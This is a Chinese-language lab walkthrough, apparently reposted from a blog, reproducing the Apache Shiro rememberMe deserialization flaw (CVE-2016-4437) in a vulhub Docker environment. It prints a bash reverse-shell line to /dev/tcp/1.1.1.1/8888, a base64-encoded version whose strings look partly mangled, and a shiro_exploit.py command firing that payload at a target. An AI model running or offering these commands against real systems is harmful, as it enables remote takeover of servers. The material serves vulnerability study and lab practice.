vulhub学习历程-Shiro反序列化-CVE-2016-4437

vulhub学习历程-Shiro反序列化-CVE-2016-4437,第1张

vulhub学习历程-Shiro反序列化-CVE-2016-4437

上篇文章:vulhub学习历程-搭建环境_ID不重要的博客-CSDN博客

关于Shiro反序列化CVE-2016-4437的复现 原理引用“CVE-2016-4437 (vulners.com)”

Shiro组件对rememberMe功能的cookie在cookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、base64编码 *** 作。然后用户在请求网站时,shiro又会在识别身份的时候,对cookie里的rememberMe字段反向解密。

根据加密的顺序,相等于知道解密的顺序,并且AES加密的密钥Key被硬编码在代码里,同时大部分程序员在使用github上提供的程序时和shiro组件时并未更换Key,导致每个人都可以收集Key来遍历目标系统所使用的密钥,最终导致了反序列化漏洞

使用卡片中地址的脚本进行测试

GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具https://github.com/insightglacier/Shiro_exploit

启用环境

根据上篇文章进行后续 *** 作,进入跟目录下,启用docker即可

# cd CVE-2016-4437/                  #进入漏洞环境目录
# docker-compose up -d               #启用环境

 web访问https://IP:8080,并打开Remember me功能。至此,环境启用成功(这里就不进行漏洞探测了,漏洞探测的过程可以自行寻找POC脚本,或者BP抓包查看返回包中是否存在rememberme delete)

攻击机环境准备

1、python3

2、java8

测试此漏洞需要攻击机具备java8的环境,我这里使用jdk-8u202-linux-x64,自行去官网下载即可

 执行反dshell命令

由于服务器编码问题,将shell命令进行编码,编码网址为,编码完成后备用。

java.lang.Runtime.exec() Payload Workarounds - @Jackson_Thttps://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/1.1.1.1/8888 0>&1
经过编码后得到
bash -c {echo,YmFzaCAtaSA+JiAvVDSFVDFVDFVSFVSDVLjADADASDFADFSFGAVCADFGVERGBRTYNERBGVRTBREBERQ==}|{base64,-d}|{bash,-i}

攻击机开启两个shell

窗口一执行nc监听

 窗口二执行payload相关命令,IP地址自行替换,这时备用的经过编码的payload可填入最后双引号中,如代码段所示

root@VM-0-8-ubuntu:/home/Shiro_exploit-master# python3 shiro_exploit.py -t 3 -u http://1.1.1.1:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCasdasdasdasdasdafasdfasdvSDsdsadsfgWRGWRGDSDfasdfQ==}|{base64,-d}|{bash,-i}"

 反d成功

攻击机接收到反d的shell

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5703769.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存